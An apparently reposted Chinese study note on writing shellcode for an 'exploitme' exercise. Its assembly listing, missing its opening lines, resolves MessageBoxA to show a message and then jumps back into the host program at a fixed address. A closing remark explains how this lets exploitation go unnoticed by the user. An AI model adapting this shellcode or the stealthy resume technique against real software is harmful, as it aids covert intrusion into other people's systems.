首页 > 新闻系统 > 编程天地 > 文章正文

shellcode之小小琢磨

2008-04-16 10:06:06 来源:中国自学编程网 作者:佚名 点击:
本文没有什么东西,只是我在研究exploitme时候的一点心得。文章内容其实很少,所以冠名“小小琢磨”。

    _emit ’r’
    _emit ’e’
    _emit ’s’
    _emit ’s’
    _emit 0
LL2:
    pop eax
    mov FuncName,eax
    call GetFunc
    mov uGetProcAddress,eax
    
    call l1
    _emit ’u’
    _emit ’s’
    _emit ’e’
    _emit ’r’
    _emit ’3’
    _emit ’2’
    _emit ’.’
    _emit ’d’
    _emit ’l’
    _emit ’l’
    _emit 0
l1:
    call uLoadLibrary
    call l2
    _emit ’M’   
    _emit ’e’
    _emit ’s’
    _emit ’s’
    _emit ’a’
    _emit ’g’
    _emit ’e’
    _emit ’B’
    _emit ’o’
    _emit ’x’
    _emit ’A’
    _emit 0
l2:
    push eax
    call uGetProcAddress
    push MB_OK | MB_ICONINFORMATION
    call l3
    _emit ’C’
    _emit ’T’
    _emit ’S’
    _emit 0
l3:
    call l4
    _emit ’A’
    _emit ’n’
    _emit ’C’
    _emit ’u’
    _emit ’i’
    _emit 0
l4:
    push NULL
    call eax  
    
    mov eax,00402005h
    jmp eax

    ///////////////////////////
    //signature of ShellcodeEnd
    _emit ’S’   
    _emit ’h’
    _emit ’e’
    _emit ’l’
    _emit ’l’
    _emit ’c’
    _emit ’o’
    _emit ’d’
    _emit ’e’
    _emit ’E’
    _emit ’n’
    _emit ’d’
    //////////////////////////////

  }


总结:

引用:
在shellcode中,我们要调用的函数一般都是我们手动查找的,但是这个会使用我们大量的可利用缓冲区空间。
这个时候我们可以利用程序中自带的对我们所需要的函数的调用。
使用jmp和call指令,当然call可能更好一点,应为call之后,还可以再返回shellcode部分。

如果call的位置适当,甚至程序不用退出;程序继续新的一轮执行(比如跳转到某处异常处理中),而程序使用者不会觉察到任何异常!!!
9 7 3 1 2 3 4 5 6 4 8 :

相关文章:

    无相关新闻
    无相关新闻

精彩推荐
焦点大图推荐
本类热门文章

论坛美图

广告联系 | 版权说明 | 意见建议 | 加入收藏 | 军网站群 [ 军软件园 - 军软件商城 - 军软件园论坛 ]

电信与信息服务业务经营许可证:京ICP证050203